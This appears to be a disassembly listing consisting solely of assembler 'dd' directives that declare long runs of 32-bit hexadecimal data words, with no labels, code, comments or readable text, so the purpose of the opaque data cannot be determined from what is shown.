		dd 55B4B7h, 0EF1DB2BDh,	57E0B579h, 65B6AA15h, 0DEC88683h
		dd 50D7D9BCh, 0EA12526Dh, 2B16EFF7h, 0B03AE8A1h, 59409040h
		dd 27D57A31h, 2EF8F587h, 0FC26372Fh, 0C549CFEEh, 60438541h
		dd 0B5C00B32h, 8A1E5CE7h, 0FF79045h, 1FF91B80h,	332ACF80h
		dd 94C10729h, 10F31C93h, 13DD3E30h, 0AAF0F7DCh,	0D1E15204h
		dd 1E20208Dh, 85E2997Dh, 3025EA68h, 5DE9549Ah, 7AB43B4Bh
		dd 0F2720106h, 0F7DA8750h, 5EBF3EDBh, 6A26E9h, 0CA92EFFh
		dd 5E5AF209h, 80EF24AEh, 525006F2h, 7E9521E5h, 0BF0CE796h
		dd 0A955F34Ah, 770DD205h, 9FA935C6h, 0C30B807Fh, 604C3022h
		dd 923B16BDh, 0A78B61EBh, 652E1109h, 0D2FAC79Dh, 2996C157h
		dd 8C6138CEh, 2F68EB85h, 1F6611F8h, 5B11D664h, 0D5F362C9h
		dd 7C8B87D0h, 5E263D9Ah, 0FAFEA297h, 307E228Bh,	0E31DA74Eh
		dd 0E2281189h, 0C90B9179h, 7D05C260h, 3252AFA0h, 0F6BE0A0Ch
		dd 0E5AC7E96h, 8FF212Ch, 53029639h, 0CC6FE168h,	28C420D5h
		dd 50B2B12Fh, 788749B1h, 14FEDA4Bh, 84FDE821h, 0CCFF59D7h
		dd 6C4B81B9h, 0E0D631BBh, 0C2239662h, 2F039806h, 41D18255h
		dd 1769B813h, 0EA324605h, 3913BF7Bh, 5636D0EFh,	18985E55h
		dd 97ED7A29h, 0A1467D4Bh, 1890EB05h, 7EC41E92h,	80BBEC4h
		dd 5D79AB5Eh, 0F6AF5867h, 49A03822h, 62FC6812h,	214E39FEh
		dd 52829253h, 0C4CAB7EFh, 0FE18D411h, 4C92B625h, 6E20CD7Dh
		dd 685E0947h, 0B85C5030h, 6C3E7762h, 51D9283Ch,	8F995BBh
		dd 1755566h, 327627E7h,	6E219DE9h, 19E8FACh, 0C11DBB3Fh
		dd 0D52D20E0h, 0E3E8214Bh, 6C8CE2C0h, 50951F9Ah, 6180C93h
		dd 0C31A53B3h
		dd 418B2E02h, 77685651h, 0E91245D8h, 60E455AFh,	9159171Ah
		dd 7E8F4276h, 7261A8FAh, 5DE24ACh, 481209DCh, 3C776F21h
		dd 9312BE27h, 0F129EA29h, 0E030ED71h, 0A45002A8h, 1B5C6874h
		dd 0AC9847D1h, 0BDFB311Bh, 732D1316h, 9FBA579Ch, 22F77CC1h
		dd 5EF313ECh, 57796B90h, 0E760F52Ch, 84FC8291h,	2DBE7712h
		dd 5CBA9817h, 0E10ED46Bh, 0B579F5C2h, 0E2088952h, 0E2DED3F2h
		dd 0DC741CE9h, 0D4F93009h, 0B25258D6h, 6957F89Dh, 0AFDD285Dh
		dd 3FD33E50h, 1EBCF40h,	64F7FB87h, 0ED5008D7h, 71C710A6h
		dd 0AB16C04Fh, 3388E260h, 121C090Ch, 0CA02EFC1h, 0DF093D59h
		dd 0D597DB6Ch, 0F0C4209Bh, 4A912DCCh, 0CB827E8Bh, 0E26EF87Bh
		dd 0D7290A22h, 908BD55h, 0CA5818E9h, 24F0BF06h,	9301B8Dh
		dd 5FFE3582h, 0B05766F5h, 4231091Ah, 3685F801h,	4E20FC9Ah
		dd 1872D981h, 0C20F9804h, 37692401h, 0F2D3E961h, 9764BE2Eh
		dd 62550592h, 25995C6Dh, 1F24BE2Fh, 0E2B90E70h,	7723546Dh
		dd 625A9FDEh, 13A3083Ah, 68BA2918h, 26D9BD0Fh, 400EB88Fh
		dd 7D0D6ACDh, 0A8C64A70h, 54DD008Eh, 91E915A1h,	0FC9297B6h
		dd 5B058081h, 2B9E9341h, 0C1291744h, 2C8499F9h,	5057074Ah
		dd 0A284567Eh, 107E8EABh, 5D257CC9h, 7E973994h,	965FEBA0h
		dd 0F22D3D9Ah, 0FC30CD96h, 4E074122h, 0B0E90B68h, 32B09B26h
		dd 5F1A6880h, 6288D0DCh, 78BD0F53h, 812AE800h, 2501DEE5h
		dd 0E94D585Ah, 349D2E83h, 11B45BBh, 7DD6E864h, 3C1AB930h
		dd 2672E405h, 9B7754A3h, 86A54E0Dh, 9C828B80h, 52589A03h
		dd 200741D0h, 5095AE0h,	2E254Ah, 4BE9D04Ch, 0B89FA831h
		dd 3D27E051h, 1B13C981h, 0E9FD0705h, 61E1A2BDh,	0B7A01C7Dh
		dd 19D2C58h, 2D28E93Ah,	79C4EC22h, 96C6A3B8h, 684942EBh
		dd 46795C6Eh, 0E85E5891h, 0AA68E009h, 28F9B19h,	775E3E1Bh
		dd 0A4EF1E0h, 0FD0BEE2Eh, 7D45091Fh, 0E8AC4F4Ch, 446D7F1Eh
		dd 0C05DEF31h, 4E6642EBh, 35407800h, 5CA9778Dh,	4BCC0F0Dh
		dd 0F442082Ah, 0DB40AA0Ah, 1944352h, 73AC0297h,	0D3F4F871h
		dd 2246BA95h, 0FCF90DCEh, 6E5BBD21h, 486BE409h,	2C43A912h
		dd 2464B47h, 396D31F9h,	485E361h, 0F61690AAh, 885C52D7h
		dd 0C92610D0h, 0ECEBC112h, 0A04205ACh, 5EEC653Dh, 60C8F010h
		dd 0A8029252h, 0FA3F9868h, 0A4525F1Bh, 720ECE2Ah, 0F74B7132h
		dd 0C1C6AF40h, 17C241C0h, 0FECD3BE9h, 0BD3BED39h, 29C3B4F9h
		dd 235AA196h, 837D1C2Eh, 1E514C13h, 39B40C04h, 8982BC43h
		dd 974EF72Bh, 8A015C32h, 186ADDEEh, 0B02B07Fh, 6145BF61h
		dd 59026726h, 0A9A1E956h, 0EF27EACh, 7E41D305h,	2EC12113h
		dd 0BCA59BE8h, 0DD058061h, 5C300345h, 0FC5BDF09h, 0E70D5069h
		dd 79BD4A17h, 0F562EB23h, 60B6DE47h, 0EDC2F505h, 2966011Dh
		dd 35ED2BD8h, 1EDF02CBh, 2D5CBF99h, 477A5C79h, 0CBCDE9BAh
		dd 1876E354h, 261481E9h, 93EE5E66h, 2FCC72E3h, 0BE0AE043h
		dd 0A4070CC8h, 3CE84E3Eh, 594F2978h, 69DFEB4h, 21EC26AAh
		dd 0E34938C6h, 1C862CC5h, 0BD4F60Ch, 0EA803E5Ah, 2D275F9h
		dd 0AB0423C2h, 29DCC42Ch, 3FE90B3Ah, 1224CD6Ch,	0A18D3156h
		dd 5D5D02F6h, 34D914FEh, 0E69C126Fh, 0F0D6CB00h, 80B53F46h
		dd 0E807C538h, 8F71B151h, 0C1C0EFE5h, 0C9C9FE74h, 1808B1C1h
		dd 4631283Eh, 0B004AD3Eh, 17D059B2h, 0AF5768E2h, 1860C936h
		dd 41CF88B8h, 0BBDBFE9h, 4FC07D7Fh, 5D957221h, 5E54F390h
		dd 9152CCBFh, 0D357C9B0h, 67E9852Dh, 209B8D73h,	11216F0h
		dd 63BA3469h, 6005421Ah, 167113Dh, 482BE7C0h, 0BA754A44h
		dd 0DD022B94h, 8EEA28CCh, 864CBFE7h, 0BB87A4Dh,	2F847475h
		dd 0F70F02F5h, 85E540DBh, 50210101h, 7CE9DD29h,	40392E34h
		dd 22B1092Eh, 5D2C5C5Ch, 1A90E016h, 2D350547h, 7D4D2Ch
		dd 0E940A5E0h, 0E5365449h, 0D9F71DCAh, 0D1373931h, 3594F208h
		dd 6DFE95ABh, 3A4CBB01h, 0CBF9573Bh, 92CD507Fh,	56C6305Ah
		dd 1F7A8ABEh, 17FA6C5Bh, 0B7D9B3h, 0B0295993h, 153D0A5Ch
		dd 3BDD8643h, 8965ADF8h, 2D1C5A9Eh, 74A60687h, 0EAC2D584h
		dd 604C2DA0h, 1409CBB1h, 9A318730h, 4A56AC5Bh, 6E82CFEFh
		dd 877341A0h, 9424D101h, 0D02F019Ch, 68D6F736h,	3AA87AFAh
		dd 733AC9C1h, 67A93B4Eh, 6BDB8407h, 0F65C99EBh,	0DDF2E9E2h
		dd 0E8F716AFh, 0C651CF49h, 0B09A70A5h, 0C492635h, 4C990B1Ah
		dd 50B2BC4Ah, 3D34C9C1h, 2E1810F9h, 0C132AA4Fh,	83C87DC2h
		dd 0BABC70E9h, 0D816EC26h, 5389DFFDh, 0EC49804h, 0E9FE6159h
		dd 6D3F4108h, 93E82A44h, 0D7DBE9A0h, 1E3566C0h,	6043D163h
		dd 6081B648h, 61B80561h, 1A760E0Bh, 0A50176F7h,	5707EA75h
		dd 6A682CF9h, 0AF105349h, 4C523DFCh, 0ACD097C3h, 6E4ED720h
		dd 2E224A5Bh, 8077527Ch, 0E65892ADh, 0FBD981Eh,	0F18DC265h
		dd 0E055C78Bh, 962EE9C5h, 0E1C10466h, 0C68DEF08h, 7996D0DBh
		dd 1B344878h, 0A2B49105h, 0E9C2D13Eh, 5FD478E7h, 891408FBh
		dd 0D9CC7F27h, 31A85F25h, 2FF45FBh, 1A6E2512h, 96E0281Ch
		dd 0D62D229Ch, 4CE7C18h, 0FE896857h, 0D0805037h, 0BD0D1B02h
		dd 0FBE232A2h, 168FBA55h, 0B52AACAFh, 0B585540h, 1C03229Dh
		dd 51DD0949h, 11F9C3BEh, 47C76413h, 8951A303h, 28AACC66h
		dd 59549D20h, 650E8A4h,	0A1435C5h, 3BE3304h, 16A336DFh
		dd 5D52BAE9h, 0FCEA0254h, 165C1510h, 98C0174Ah,	3740750Fh
		dd 9FBAEC5Ah, 9D612003h, 91C0B9EFh, 3C16F8BEh, 55B00C8Fh
		dd 0C8EE4F01h, 99536DDh, 489758B0h, 0B57EC8CFh,	0FC13B564h
		dd 390A8453h, 0C19DD99Dh, 30389CF1h, 0E55BC05h,	931B759h
		dd 0D8CC04E7h, 80DEF603h, 61C0C299h, 3069EB6h, 20DB0B7Bh
		dd 0C5DF00F5h, 90E828F7h, 0B5A22F8Ah, 57BBD9B1h, 0E502CBB5h
		dd 6605EDAAh, 334EE4AEh, 8EBF23C0h, 0F46BFE53h,	0AB674BF5h
		dd 0BCC0C6C8h, 0C3350113h, 0CD68D505h, 114DF04Fh, 3E0C104h
		dd 53C24595h, 19ABD79Bh, 308A0200h, 687B6C66h, 837F284Dh
		dd 0D0EA467Eh, 94AA8BE9h, 0DE66EF56h, 0BB000A47h, 53B91EDCh
		dd 2DE128B8h, 7370AC46h, 9D09E4BFh, 5B309B16h, 0C62D565Eh
		dd 11C9282Ah, 70551FEh,	40787A31h, 475FB4Eh, 0E0209D84h
		dd 0EF25FB7Eh, 0A6D55EECh, 0AC5B5FAEh, 78BBB2AFh, 0B7E8FF3Ah
		dd 68D83928h, 741F62B2h, 0F997DBF0h, 0EEEF5034h, 39504B06h
		dd 8324C729h, 0B27F5008h, 0DB0E417Bh, 7568FA07h, 0ED60572Bh
		dd 4F728EAEh, 6D42BBA9h, 0DA331513h, 4E47097Ah,	3A576A90h
		dd 110C0F0Fh, 0E3E91C40h, 79EEEC55h, 2CFF21C4h,	565A09D4h
		dd 44130053h, 0EC5B4C6Ah, 321F4E46h, 2B52DE0Eh,	0DB253C92h
		dd 9033167Fh, 314D1363h, 24DCA122h, 0E2768ACh, 0B6CE637h
		dd 6DE4699Ch, 0E6AF215Dh, 15E17F5Fh, 163ECED8h,	0FB5B6E74h
		dd 2B6AB741h, 0C810741h, 0A7D0A9ABh, 6410FF29h,	0D1163513h
		dd 0F220BAEBh, 2428E43h, 0E9DF8996h, 14DDDCFCh,	75D40F72h
		dd 0EF606F0Fh, 0BA525601h, 0F95E1800h, 6AE28145h, 9253B39h
		dd 59B0F202h, 0C3F56BE6h, 807CD69Ch, 3CE9B8F5h,	0ECCAB1A0h
		dd 97FDB593h, 0EFFCC5D2h, 40EA5F2Ch, 50158B5h, 0EB0ED8C8h
		dd 89E1C331h, 4E148170h, 176ADA62h, 0EFC8FC51h,	0D4751792h
		dd 3B6DA110h, 4A26EBA0h, 0D6DCF956h, 355DE20Eh,	0AF958Dh
		dd 67EB7F36h, 9715D5E9h, 0A35D16A9h, 0E26387BFh, 4658062Dh
		dd 5FC32879h, 0C28D3CC1h
		dd 2646F0D4h, 0BE0D5826h, 115D4D09h, 2A27E0DDh,	90469F59h
		dd 0D764149Fh, 2FD28D6Ch, 680AE3FCh, 889C31C6h,	81006332h
		dd 0FD1137CBh, 0A8E4C149h, 6E71654Ch, 0E9420CC0h, 4D0D67C1h
		dd 948097D9h, 7E05BCCAh, 96F1394Fh, 2D022C7Ah, 9376503Dh
		dd 6D958909h, 554160Bh,	85A12542h, 4AE8F67Eh, 0B52A00AAh
		dd 28F3B438h, 0E868EC6Eh, 0FF55158Eh, 0C84B5CC5h, 0F7103EDh
		dd 0EFC15E12h, 2AF76603h, 5D75EA3Fh, 56A83852h,	1A2617C6h
		dd 20106523h, 3FC05724h, 6DD64504h, 7E04FB89h, 1160383h
		dd 98307960h, 224C7972h, 0FF17C9FBh, 2F43C88h, 417C1987h
		dd 53408F59h, 257836BBh, 0CC54317Bh, 909CE920h,	595C38Fh
		dd 39BA3DDAh, 8AEC6E7Dh, 578A40E5h, 26DAE953h, 9CD9F1B5h
		dd 0A8364BCBh, 94694005h, 0B2BCEBCCh, 350DA3E1h, 52F66E6Ah
		dd 0F8A9E983h, 0C87D2670h, 222C4812h, 6416F2FAh, 0EE56B886h
		dd 0B3A390D7h, 2C14008Fh, 0C0550430h, 0E0A103E8h, 93DD6E65h
		dd 0BA2067ECh, 0C2830222h, 26B66802h, 28BFC557h, 833B2224h
		dd 3A09F502h, 0D7556C37h, 0ED003744h, 0BB857DAh, 977815E9h
		dd 0B75838FCh, 68660E94h, 0EF981657h, 8000FFB1h, 0B25242EFh
		dd 5EF1E904h, 423B89A4h, 9DE82762h, 0EB263F64h,	0CE81BC2Ch
		dd 2077321Ch, 1A0A1F60h, 0AC8B58F0h, 77888B57h,	79239439h
		dd 20C04C12h, 0F32AE946h, 20683ED9h, 52E91C14h,	337D253Dh
		dd 6459E18Eh, 0BC629B57h, 4C06840Ch, 0F74EF0B8h, 26718462h
		dd 78B288Dh, 92720F68h,	994B8637h, 0AEE0B76Fh, 48504C53h
		dd 1392D25Ch, 2FABEDE1h, 24E5AB64h, 0D4EABD5Fh,	8B9DEA7Fh
		dd 0E997A43Ah, 0FE5B0E27h, 0C2817283h, 0C6382FE4h, 7E01B18Fh
		dd 60463982h, 6C124182h, 1CF073DCh, 609E9AD7h, 1E24365Dh
		dd 314E6CF2h, 118AEAA8h, 6C74A7A2h, 0E50DC432h,	5FD888CFh
		dd 58B6BE01h, 0EC300DFBh, 3CBF9B9Fh, 1EE227AFh,	8DF6F5Fh
		dd 310B4941h, 846C8208h, 0DC08A951h, 4F3350C3h,	221E029Fh
		dd 89B6009Bh, 8000CEFEh, 0F4280AC6h, 1BE5885Ah,	223DB9E9h
		dd 3A0BC0A9h, 719FC4B6h, 23CE7FFh, 46F2FD5Ah, 0A0C850B7h
		dd 274E5298h, 0C2D71141h, 5A080441h, 0E95C45EFh, 103ECFDh
		dd 8003E5C0h, 53ECD9C5h, 0BAAABF26h, 0DD3F16E3h, 0E2E62084h
		dd 79993669h, 490B1319h, 65725BD0h, 97433D20h, 0DD248771h
		dd 7E748000h, 5F07E965h, 9423FA7Fh, 0FB4A43h, 3B9005A1h
		dd 709574A7h, 0ECBA09EEh, 0E85415C4h, 75BF6809h, 4893E3F9h
		dd 0A0D540B4h, 0E1455B8Bh, 0E13EE93Fh, 0F77490E9h, 85E1A55Ch
		dd 0AD562A68h, 60B12C6Bh, 0C60B91A4h, 893AD525h, 0E62D79E4h
		dd 0C26ED662h, 0CCDCE2F5h, 8936818Eh, 11A1F52Eh, 0DAAEC879h
		dd 26E157E8h, 5BC0EF89h, 1B27620Ah, 7D09145Ah, 0DCBB8860h
		dd 34C51532h, 730B0940h, 8339AA50h, 0B15194FEh,	443F27F6h
		dd 1D70754h, 54F73843h,	91F6AF47h, 50FC4EDDh, 148ABA16h
		dd 0C236ED5Ah, 5C70BFE9h, 8934891h, 87405023h, 0F67AB320h
		dd 0F4CAB201h, 0AF6A5435h, 81DB415Eh, 758ACAF6h, 426B01B6h
		dd 3C7AE963h, 68817FD9h, 623E0EECh, 9F5F7C60h, 9691553h
		dd 7689E264h, 61A9F34Bh, 8028873Ah, 0CA32B1E2h,	0E1A78757h
		dd 5E1E13E3h, 7E05B126h, 369CBC84h, 6197915Ah, 6001C583h
		dd 3B045F6Dh, 0EDD171F4h, 10B7E83h, 3C65C1F1h, 7E313D79h
		dd 0E9D58F02h, 271F5C92h, 30F894FDh, 0C53D5144h, 490901B3h
		dd 0DDF776h, 0D571D0FDh, 0EF534E27h, 56EEDD52h,	0A553BE97h
		dd 4172D503h, 0C3E1ADE2h, 1023BE60h, 2515996Ah,	2989D508h
		dd 0E961BDDEh, 0AAD69AAh, 34052DF0h, 29A68B57h,	0FD61D0FAh
		dd 0A80CD13Ch, 2A5A2BE9h, 8140FBDh, 2A5D136Fh, 0A8014B90h
		dd 36E9B1AAh, 0B869136Bh, 5A907DBh, 0CF600AB6h,	7D180FE3h
		dd 0E7C11854h, 8014CE03h, 78090E25h, 0C459B6A7h, 4A0CEC9Fh
		dd 659464E3h, 637368C3h, 1AC67F10h, 2E37BC5Ah, 581B6B7h
		dd 45AA600Eh, 1FD6842Bh, 367B0007h, 0E95609EBh,	4513DD5Ah
		dd 0E928A1ABh, 0D6F23B83h, 25BA52C4h, 0B21716AFh, 38B81037h
		dd 79E3B05Fh, 68174878h, 0D1A8471Fh, 137426C4h,	0A74A70ECh
		dd 0E7B51232h, 0CB38580Bh, 1CE9A9B1h, 2F5FEA34h, 1675F031h
		dd 0DCC6040Eh, 0C114293Fh, 0DA9A68EAh, 5C808CA2h, 0E3DD0802h
		dd 0F1F49D80h, 0F58958F4h, 2B629ADFh, 0F0C1DEC6h, 2ED72FF3h
		dd 53AE003Eh, 7439DBBBh, 3BDDE5F1h, 0EEF5FDD8h,	0B8B627A1h
		dd 0E951CC80h, 73D34232h, 10E78901h, 72F13B6Ah,	8817AB38h
		dd 7A362DE2h, 0C066CC62h, 808A29C3h, 7634868h, 26C64FDFh
		dd 0EAB4314h, 0EB4CE3D1h, 8D13DFB8h, 5EB29E0h, 81DD893Fh
		dd 0E469C5AEh, 0AEC1767Eh, 1E562758h, 0AC731883h, 0BB4E3D33h
		dd 271041A3h, 0EB4062CBh, 0B04DF51h, 0BA24C489h, 0C101ACC1h
		dd 8283643Bh, 6605A411h, 0FB68B4FBh, 125C3A49h,	0E2E87519h
		dd 44C5FBB4h, 8D7462ABh, 2009B274h, 0BA17CFEh, 42879EE6h
		dd 5AF1008Fh, 7D48E950h, 0C51C152h, 96200B09h, 0F6F319B3h
		dd 0F22218F4h, 9B08D9DEh, 0FE870B74h, 0FC4DC605h, 928AC488h
		dd 4BCBE813h, 0B95D62A4h, 265908DEh, 71355800h,	0B5365F1Ch
		dd 1DFC0650h, 0D0B4B75Bh, 0D8E44E05h, 185AF268h, 0B50EAE6h
		dd 4A591695h, 507CB847h, 8B9572E0h, 4BF3FB9Fh, 36EFE9D7h
		dd 88130828h, 697CBCCCh, 0B4CB712Ch, 578A800Dh,	0D39406E9h
		dd 11657525h, 0AF005E13h, 4BE457BBh, 0E9E00ED1h, 91C0F37h
		dd 0B6D71C33h, 419F8ACFh, 8C6A3B4Ah, 5D405C21h,	0A7389659h
		dd 2B0125A0h, 60BD4F1Fh, 802C8B1Bh, 0F3BF6149h,	0F2E962D0h
		dd 0FF9892FDh, 0EE27A7F9h, 366712F7h, 2F18AB61h, 984A0606h
		dd 9B61350h, 88C8BA03h,	0C765BD5Ah, 0E1B25449h,	75064AE9h
		dd 9DE07BF9h, 0A820F9E5h, 9AF9037h, 626E4CC4h, 3783D03h
		dd 0D5E91DC9h, 3FE83B9Ah, 0D02515D4h, 642DD0E0h, 3517141Dh
		dd 36604E43h, 2B15F93Fh, 6EF4C86Eh, 7C484F13h, 7C6820Ah
		dd 3814D82Dh, 3C3E73BFh, 6577F683h, 180129D9h, 3F762634h
		dd 0D721EE83h, 97754E6h, 7510AE17h, 0D1B8F1C6h,	76EECAC3h
		dd 5D22EA45h, 2A2943F0h, 0DC02CBD2h, 0E12D3672h, 0C551C23Eh
		dd 0B62B5EF5h, 89D625C1h, 3F79D571h, 18AF046Bh,	0DA6971Eh
		dd 202E1DBFh, 5E974C27h, 0DF746B1Dh, 7E6F591Ch,	2B4D05AEh
		dd 0E8A7805Bh, 0ED0E2D02h, 0A0796012h, 39B97E6Dh, 7B7D7335h
		dd 16CC90BDh, 0B84481E9h, 7622F011h, 0E966170Bh, 0AF105360h
		dd 0D72476C7h, 0EFC7D0BFh, 4925260Eh, 0C726F780h, 0D377FD77h
		dd 476A5127h, 8D6805DBh, 5AC9B202h, 0BB92DEB7h,	528B4DB6h
		dd 4BF74000h, 0BA353E94h, 0F4F80BFBh, 2A67750Bh, 8A014FCh
		dd 589FF6B0h, 7F4F97BEh, 0B7433FACh, 0F0D93B0Fh, 302A5F98h
		dd 8E26EC80h, 711632FEh, 0CBFB8685h, 0E90F637Bh, 0D7E4F4BCh
		dd 44256FF4h, 3DAE68E2h, 61BD9AD5h, 0B92A846Dh,	1B080E7Ah
		dd 0F9894507h, 289520AEh, 593D66C8h, 2DFF705Ah,	6D630B46h
		dd 78A777CFh, 30FAF081h, 7BF3795Fh, 8042BE1h, 0F2EA49C4h
		dd 0AF2578C5h, 6A6657A7h, 7DBDD5A0h, 81615D07h,	941366CAh
		dd 880C0465h, 0AF1C8505h, 2E04BABDh, 0BF75B589h, 572D0C09h
		dd 9C2E8F62h, 5A5D7D89h, 685316F8h, 32DB21CCh, 69D83927h
		dd 582324FEh, 20216E81h, 48100BC1h, 9A059405h, 0C6317A39h
		dd 575B23C2h, 86803D14h
		dd 0FE1A09F2h, 0ECC13Bh, 0E708F786h, 5B8BF02Ch,	9653417Fh
		dd 2A1C733Ch, 0E0AFD4C4h, 7D045E4Fh, 0E989DCB5h, 0D8D96EC2h
		dd 87661384h, 0A110AFF9h, 0C9810606h, 1F0A2ABBh, 4B6E03C1h
		dd 0E942CA29h, 31C0882Fh, 0C0B70FC3h, 3203BB0h,	623E90E4h
		dd 6F591205h, 0A43BD00h, 9B1A4C86h, 96821203h, 0E8A5E991h
		dd 4A5D0FDDh, 688C0956h, 126EEFE6h, 1558D36h, 0EE45208Fh
		dd 11942E74h, 91C081Ah,	0A760214h, 25AEE50Eh, 2DDF9CDDh
		dd 82DC5A94h, 0EAECF97Bh, 32654E2Bh, 92D7E276h,	2CC705F8h
		dd 0FED8074Ch, 0A608979Dh, 3AB40367h, 98B8F480h, 4AE9CFC4h
		dd 885207F0h, 0ADA472C6h, 4E29CA2h, 5B11E080h, 0D9B7277Fh
		dd 0BD800F0h, 54E946E7h, 2D2EBE65h, 0A26C94BFh,	0A51AD655h
		dd 0BEAC0326h, 684B993Bh, 5CF31A60h, 0B85AB1CEh, 5F521254h
		dd 0C4BE6D17h, 1AF1B8B7h, 0CC3E143Dh, 54502508h, 4AD60138h
		dd 80B470CFh, 0E4C0DCF6h, 0EA0AD805h, 0E24E2087h, 96799C2h
		dd 2A1D403h, 8F050C3Eh,	447B1F18h, 6DEEA993h, 0A3EC6BAAh
		dd 0FFE860C3h, 0D8280B8Ch, 4E9120CEh, 7D5B5425h, 7D98E06Ch
		dd 77DAC35Eh, 22A2A85Eh, 65EA210Ah, 78A0E989h, 55FBFAA8h
		dd 0CC600D1Eh, 9189C3Bh, 2E5D2Ch, 617C929Dh, 0E6B55140h
		dd 2A40C4C1h, 0F3EAD225h, 0C223C4BEh, 68821ABCh, 0B2F50397h
		dd 3573FDF2h, 0F6A1D793h, 0C68AF96Ah, 4B188A18h, 0FE67FF59h
		dd 5758B0E2h, 93F0E364h, 1B8C434Fh, 28641D7h, 16699EE1h
		dd 0F2E23E59h, 0F10A3974h, 83055A7Fh, 72EF8FD0h, 684A1AD8h
		dd 1F7477h, 7888C504h, 0E91AEE01h, 774D152Ch, 0A0CBF754h
		dd 1368511Fh, 7B469571h, 6B4F7EF2h, 9B5EDACh, 0F5F8FB00h
		dd 8CB8DF97h, 0F1951F9Ch, 0F84F44ACh, 0F2D14C89h, 0E9DF9834h
		dd 0D12D53BAh, 16D7592Eh, 4D83F4A2h, 7E940C16h,	0FD30FB87h
		dd 0BEAFD5E9h, 4E6C8118h, 0F221235Fh, 769F29D8h, 0F2C0705Dh
		dd 0BC74FEBDh, 0EA101C17h, 0A9AD1428h, 0EE3131AFh, 2E72EC24h
		dd 11CE2C29h, 0D6FD4F01h, 341BAB48h, 0E2B35954h, 89F0C85Eh
		dd 587C3AF3h, 4CDF099Fh, 0EA6FAC52h, 0C63BFD03h, 0EAD031E4h
		dd 0E0C87547h, 8EC142D2h, 2D5648F1h, 321460DFh,	41AC35D0h
		dd 9D487AB5h, 0DC95DAB4h, 406E964Eh, 59E868A0h,	9C9371E4h
		dd 13EAE427h, 0E856623Ah, 5A2801F2h, 5351DFD1h,	34DCDB50h
		dd 0E7A5DD2h, 0B1FF0741h, 0AB2B9F18h, 0FDA5ED37h, 0E197CDBFh
		dd 2D8C3CEFh, 950FD705h, 0A9600E4Bh, 885064B7h,	1489BE8h
		dd 0CDD29285h, 173775Ah, 0B5C4E964h, 0A0F1A944h, 892BC1FFh
		dd 3063F4CDh, 0C3EA31CFh, 56EEE0Ch, 0CA5EB40Ch,	9094AE5Ah
		dd 0BD550805h, 60E81410h, 7879BED9h, 0B817008Ch, 637A6A8h
		dd 6339FD05h, 28525CCBh, 6AAC072Dh, 6F961BB0h, 25D7D62Dh
		dd 0D5F289DDh, 5C80AD4Fh, 0F6E28659h, 8A0C90D4h, 8A705FE0h
		dd 35AAF6B5h, 0B6B0AF0Ch, 0AFE5955Bh, 0F2074BAFh, 47020BB8h
		dd 9357311Ch, 9EC4F382h, 98E30B87h, 0AA584A77h,	0FD89FC02h
		dd 0ABCDE9B3h, 7430D5B0h, 4CB4E05h, 0F083097Ah,	0A7BA1F4Dh
		dd 9E72439h, 7B91913Ah,	7141CAF2h, 500E7EE7h, 91FCF80h
		dd 0DB7F4286h, 0A65D979Dh, 685500BFh, 4F407CF4h, 40394BE9h
		dd 1306EB41h, 0EFB04741h, 48A63FFFh, 0CAAAE9C2h, 5582535Ch
		dd 0C12AFC5Eh, 0E93F47AEh, 20FA97F6h, 0A8E9529Dh, 978650BDh
		dd 0B5DEB457h, 0F38B0C45h, 4D0F82FFh, 1F516045h, 0C9B23E2Eh
		dd 535CF29Bh, 5AD4BBADh, 0ADC23280h, 15572851h,	3E327A1h
		dd 0CAC27032h, 9C35655h, 32A024E9h, 4D1D9ABAh, 16095A48h
		dd 4B807D57h, 0BA047F2h, 0D301E3CEh, 0FC12B184h, 895D0A75h
		dd 0A9E85AC5h, 4E0AFC27h, 6630D3D4h, 18D9EFABh,	0D531BD27h
		dd 8018B62h, 5796CFE9h,	0A8C264F6h, 88B11C09h, 0E368E25h
		dd 14518CD0h, 0F9BB27E9h, 89C50A54h, 0BEE1FD0h,	79AE2D5Bh
		dd 81288FDh, 0FEA4CB3Dh, 4004413Ch, 7DDE7CD6h, 0EB29A418h
		dd 0B75BDAD4h, 0B725140h, 0E90F3505h, 0CD905314h, 0B8308BB0h
		dd 0CE2F28BCh, 0DA9096Bh, 54071156h, 0F2E1E2FAh, 9ABD1657h
		dd 7E522097h, 7153E919h, 0AC6FBAF5h, 60AE4F0Fh,	3ED9E988h
		dd 0CD16DD95h, 0E6387890h, 2DEB5E11h, 97EC3A37h, 8B8BAFDFh
		dd 826E4FD9h, 0AEF028BDh, 6B1EDFB1h, 9017C816h,	12B981B0h
		dd 0A57D557Eh, 4175F435h, 0AD160E3Ah, 4D9F206h,	0C139F3C9h
		dd 4DA5C06Bh, 31E1200Eh, 0C42D7A92h, 0EDAE2944h, 29FFB403h
		dd 0B07A52Eh, 0E7270204h, 0F03003EFh, 3B36A3B9h, 0C3800D20h
		dd 0A54BB5F7h, 694A10AEh, 0FAAE8DEAh, 421F08D9h, 251C41E2h
		dd 0B13A28B7h, 0AAD1015h, 2F5448F6h, 38DD96E9h,	5A346849h
		dd 0FAD43146h, 3F307E03h, 2BA32C3h, 4555355Ch, 0CCD509AEh
		dd 69D2712h, 0BE986D9h,	0DD61890Fh, 0E9E12F59h,	24844E99h
		dd 0BBCF885Ah, 474054C9h, 4CC747B6h, 2F04010Ah,	0C3761238h
		dd 4ED16758h, 83E17B6Ah, 5878C530h, 2A2EB6B5h, 955A776h
		dd 0A5487D02h, 8DC9FB5Ch, 77E2D7EDh, 3EB3CDC3h,	7BD0C35Ah
		dd 5B4468C8h, 5FFF3149h, 5F98A7FCh, 0E91F6667h,	0B22423B5h
		dd 0C2EF00BEh, 4CC96850h, 7A661196h, 0DAD09543h, 333C0802h
		dd 5CDEF754h, 99460952h, 2045E657h, 6816558Fh, 558C45B6h
		dd 0B3134A93h, 5558C02Bh, 0A8D13EE9h, 55DEE8Ah,	611ED405h
		dd 0BF89432h, 22C65E07h, 6377FE95h, 0DC4EFBE0h,	533F29A2h
		dd 6E77518Bh, 4DA686D5h, 1BD9BD0Dh, 0A6BFE9E1h,	3ED86A8h
		dd 0C1C980B7h, 85EC5066h, 3B4BAF32h, 98497AEAh,	0F5E76273h
		dd 1B753FFBh, 1BCDC80Ch, 0EB665E81h, 5024BF29h,	5E4E092Bh
		dd 880F4723h, 49302CA2h, 78D7455h, 9346FFF7h, 0F1EBE90Ah
		dd 30748BBFh, 554A68C2h, 0BD056E66h, 547A0D63h,	437983AFh
		dd 0D05D3EFEh, 67F95B3Bh, 8F58474Dh, 2A5F88E8h,	5B0ACF8Bh
		dd 9BBB25E9h, 8D02A458h, 8C34A3B9h, 7E0DF19h, 0F1488749h
